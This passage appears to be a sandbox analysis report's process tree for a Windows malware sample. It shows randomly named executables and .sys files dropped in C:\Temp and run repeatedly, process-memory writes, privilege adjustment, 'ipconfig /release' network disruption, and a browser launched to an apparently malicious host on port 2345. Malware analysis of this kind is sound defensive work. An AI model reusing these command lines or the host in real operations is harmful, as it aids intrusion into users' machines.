      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4160
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4608
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4708
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_jgbztrljgb.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:876
  - - C:\Temp\i_jgbztrljgb.exe
      C:\Temp\i_jgbztrljgb.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4492
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\oigbywqoid.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2216
  - - C:\Temp\oigbywqoid.exe
      C:\Temp\oigbywqoid.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5816
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3492
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2860
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_oigbywqoid.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5444
  - - C:\Temp\i_oigbywqoid.exe
      C:\Temp\i_oigbywqoid.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2832
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\qlidbvtnlg.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1404
  - - C:\Temp\qlidbvtnlg.exe
      C:\Temp\qlidbvtnlg.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3384
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5188
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3912
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_qlidbvtnlg.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1108
  - - C:\Temp\i_qlidbvtnlg.exe
      C:\Temp\i_qlidbvtnlg.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3848
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\snlfdavsnk.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5484
  - - C:\Temp\snlfdavsnk.exe
      C:\Temp\snlfdavsnk.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3608
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4172
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4404
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_snlfdavsnk.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:704
  - - C:\Temp\i_snlfdavsnk.exe
      C:\Temp\i_snlfdavsnk.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3020
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\usnhfzxspk.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1396
  - - C:\Temp\usnhfzxspk.exe
      C:\Temp\usnhfzxspk.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1600
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:564
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4492
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_usnhfzxspk.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1508
  - - C:\Temp\i_usnhfzxspk.exe
      C:\Temp\i_usnhfzxspk.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2860
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\nkecxupnhf.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2036
  - - C:\Temp\nkecxupnhf.exe
      C:\Temp\nkecxupnhf.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5640
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3956
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4552
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_nkecxupnhf.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:3528
  - - C:\Temp\i_nkecxupnhf.exe
      C:\Temp\i_nkecxupnhf.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2668
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\mhfzxrmkhc.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3968
  - - C:\Temp\mhfzxrmkhc.exe
      C:\Temp\mhfzxrmkhc.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:3552
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:720
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3812
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_mhfzxrmkhc.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2024
  - - C:\Temp\i_mhfzxrmkhc.exe
      C:\Temp\i_mhfzxrmkhc.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:976
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\jhbzurmjhb.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4676
  - - C:\Temp\jhbzurmjhb.exe
      C:\Temp\jhbzurmjhb.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:1496
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2136
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3368
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_jhbzurmjhb.exe ups_ins
    3⤵
    PID:4144
  - - C:\Temp\i_jhbzurmjhb.exe
      C:\Temp\i_jhbzurmjhb.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4828
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\bztrojgbzt.exe ups_run
    3⤵
    PID:2968
  - - C:\Temp\bztrojgbzt.exe
      C:\Temp\bztrojgbzt.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4400
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4296
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:252
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_bztrojgbzt.exe ups_ins
    3⤵
    PID:1680
  - - C:\Temp\i_bztrojgbzt.exe
      C:\Temp\i_bztrojgbzt.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1252
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\tqoigeywqo.exe ups_run
    3⤵
    PID:1216
  - - C:\Temp\tqoigeywqo.exe
      C:\Temp\tqoigeywqo.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:3020
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3180
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:976
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_tqoigeywqo.exe ups_ins
    3⤵
    PID:2032
  - - C:\Temp\i_tqoigeywqo.exe
      C:\Temp\i_tqoigeywqo.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5716
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\dyvqoigdyo.exe ups_run
    3⤵
    PID:4552
  - - C:\Temp\dyvqoigdyo.exe
      C:\Temp\dyvqoigdyo.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5936
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5712
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5688
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_dyvqoigdyo.exe ups_ins
    3⤵
    PID:252
  - - C:\Temp\i_dyvqoigdyo.exe
      C:\Temp\i_dyvqoigdyo.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2996
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\qnigaysqni.exe ups_run
    3⤵
    PID:5748
  - - C:\Temp\qnigaysqni.exe
      C:\Temp\qnigaysqni.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5776
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:1260
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1500
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_qnigaysqni.exe ups_ins
    3⤵
    PID:4880
  - - C:\Temp\i_qnigaysqni.exe
      C:\Temp\i_qnigaysqni.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3440
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\snkfcxvpnh.exe ups_run
    3⤵
    PID:908
  - - C:\Temp\snkfcxvpnh.exe
      C:\Temp\snkfcxvpnh.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:3944
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2928
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5896
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_snkfcxvpnh.exe ups_ins
    3⤵
    PID:6032
  - - C:\Temp\i_snkfcxvpnh.exe
      C:\Temp\i_snkfcxvpnh.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3100
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ecausmkfcx.exe ups_run
    3⤵
    PID:2740
  - - C:\Temp\ecausmkfcx.exe
      C:\Temp\ecausmkfcx.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:6052
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3668
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5984
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ecausmkfcx.exe ups_ins
    3⤵
    PID:1852
  - - C:\Temp\i_ecausmkfcx.exe
      C:\Temp\i_ecausmkfcx.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2568
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\xrpmhfzxrp.exe ups_run
    3⤵
    PID:4280
  - - C:\Temp\xrpmhfzxrp.exe
      C:\Temp\xrpmhfzxrp.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:2732
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4220
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1232
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_xrpmhfzxrp.exe ups_ins
    3⤵
    PID:5168
  - - C:\Temp\i_xrpmhfzxrp.exe
      C:\Temp\i_xrpmhfzxrp.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4396
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\wuomgezwrp.exe ups_run
    3⤵
    PID:1884
  - - C:\Temp\wuomgezwrp.exe
      C:\Temp\wuomgezwrp.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:360
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:1976
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2684
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:4976
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:2064
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x300,0x7ffad763c188,0x7ffad763c194,0x7ffad763c1a0
      4⤵
      PID:3164
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1864,i,17822415944557237332,9293264687594531134,524288 --field-trial-handle=2312,i,9936981602455210581,9445871807941471522,262144 --variations-seed-version --mojo-platform-channel-handle=2340 /prefetch:11
      4⤵
      System Time Discovery
      PID:6076
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1620,i,6329067879960335940,10223262019683921469,262144 --field-trial-handle=2312,i,9936981602455210581,9445871807941471522,262144 --variations-seed-version --mojo-platform-channel-handle=2308 /prefetch:2
      4⤵
      PID:5580
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2384,i,9432440657495421213,17611823139690417529,524288 --field-trial-handle=2312,i,9936981602455210581,9445871807941471522,262144 --variations-seed-version --mojo-platform-channel-handle=3044 /prefetch:13
      4⤵
      PID:5124
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3612,i,6925352279317732774,17238898959546424443,2097152 --field-trial-handle=2312,i,9936981602455210581,9445871807941471522,262144 --variations-seed-version --mojo-platform-channel-handle=3636 /prefetch:1
      4⤵
      PID:2328
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3616,i,6108302007122838200,14297699539768692935,2097152 --field-trial-handle=2312,i,9936981602455210581,9445871807941471522,262144 --variations-seed-version --mojo-platform-channel-handle=3644 /prefetch:1
      4⤵
      PID:6088
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4268,i,16862672767222160314,7107437478505945167,2097152 --field-trial-handle=2312,i,9936981602455210581,9445871807941471522,262144 --variations-seed-version --mojo-platform-channel-handle=4716 /prefetch:9
      4⤵
      PID:4428
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4252,i,917786325459891029,16485443294810806556,2097152 --field-trial-handle=2312,i,9936981602455210581,9445871807941471522,262144 --variations-seed-version --mojo-platform-channel-handle=4712 /prefetch:1
      4⤵
      PID:2972
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5428,i,5741872403875715406,12223806439594405211,524288 --field-trial-handle=2312,i,9936981602455210581,9445871807941471522,262144 --variations-seed-version --mojo-platform-channel-handle=5412 /prefetch:14
      4⤵
      PID:4968
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3796,i,13548268021967850376,17188316076772133709,524288 --field-trial-handle=2312,i,9936981602455210581,9445871807941471522,262144 --variations-seed-version --mojo-platform-channel-handle=5308 /prefetch:14
      4⤵
      PID:4260
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5348,i,16013152086559259174,10469533398990256919,524288 --field-trial-handle=2312,i,9936981602455210581,9445871807941471522,262144 --variations-seed-version --mojo-platform-channel-handle=5428 /prefetch:14
      4⤵
      PID:6104
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6108,i,13390816029322670811,2539582086149944945,524288 --field-trial-handle=2312,i,9936981602455210581,9445871807941471522,262144 --variations-seed-version --mojo-platform-channel-handle=6120 /prefetch:14
      4⤵
      PID:3084
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6108,i,13390816029322670811,2539582086149944945,524288 --field-trial-handle=2312,i,9936981602455210581,9445871807941471522,262144 --variations-seed-version --mojo-platform-channel-handle=6120 /prefetch:14
      4⤵
      PID:5728
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6300,i,4990574369306767129,18060958016609347131,524288 --field-trial-handle=2312,i,9936981602455210581,9445871807941471522,262144 --variations-seed-version --mojo-platform-channel-handle=6188 /prefetch:14
      4⤵
      PID:5148
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6164,i,15905092563557258833,4460558790471322814,524288 --field-trial-handle=2312,i,9936981602455210581,9445871807941471522,262144 --variations-seed-version --mojo-platform-channel-handle=6304 /prefetch:14
      4⤵
      PID:5540
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5116,i,5997100645014092935,772722309793916126,524288 --field-trial-handle=2312,i,9936981602455210581,9445871807941471522,262144 --variations-seed-version --mojo-platform-channel-handle=5392 /prefetch:14
      4⤵
      PID:1600
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5008,i,8674682984058663224,8853944506241887037,524288 --field-trial-handle=2312,i,9936981602455210581,9445871807941471522,262144 --variations-seed-version --mojo-platform-channel-handle=5044 /prefetch:14
      4⤵
      PID:1132
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5104,i,5831771003099889934,1659054863994636441,524288 --field-trial-handle=2312,i,9936981602455210581,9445871807941471522,262144 --variations-seed-version --mojo-platform-channel-handle=5332 /prefetch:14
      4⤵
      PID:2032
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5584,i,6258265719865633477,8515335351359056972,524288 --field-trial-handle=2312,i,9936981602455210581,9445871807941471522,262144 --variations-seed-version --mojo-platform-channel-handle=5580 /prefetch:14
      4⤵
      PID:2076
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5096,i,18155187176816010530,15794985412852139608,524288 --field-trial-handle=2312,i,9936981602455210581,9445871807941471522,262144 --variations-seed-version --mojo-platform-channel-handle=5392 /prefetch:14
      4⤵
      PID:2432
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6080,i,669294982489877448,15902119625324510441,262144 --field-trial-handle=2312,i,9936981602455210581,9445871807941471522,262144 --variations-seed-version --mojo-platform-channel-handle=6204 /prefetch:10
      4⤵
      PID:3548
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4264,i,15848426711986462817,12919395352674570359,524288 --field-trial-handle=2312,i,9936981602455210581,9445871807941471522,262144 --variations-seed-version --mojo-platform-channel-handle=5324 /prefetch:14
      4⤵
      PID:5864

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5112

C:\Temp\hfzusmkfcauspkic.sys
C:\Temp\hfzusmkfcauspkic.sys
1⤵
- Executes dropped EXE
PID:832

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:1212

C:\Temp\mjhczxrpjh.sys
C:\Temp\mjhczxrpjh.sys
1⤵
- Executes dropped EXE
PID:720

C:\Temp\uomjebwuom.sys
C:\Temp\uomjebwuom.sys
1⤵
- Executes dropped EXE
PID:4156

C:\Temp\wuomgeywuo.sys
C:\Temp\wuomgeywuo.sys
1⤵
- Executes dropped EXE
PID:3144

C:\Temp\ywqoigbwtr.sys
C:\Temp\ywqoigbwtr.sys
1⤵
- Executes dropped EXE
PID:5900

C:\Temp\yvqoigdywq.sys
C:\Temp\yvqoigdywq.sys
1⤵
- Executes dropped EXE
PID:5436

C:\Temp\aysqkidavs.sys
C:\Temp\aysqkidavs.sys
1⤵
- Executes dropped EXE
PID:4840

C:\Temp\nifaqnhfax.sys
C:\Temp\nifaqnhfax.sys
1⤵
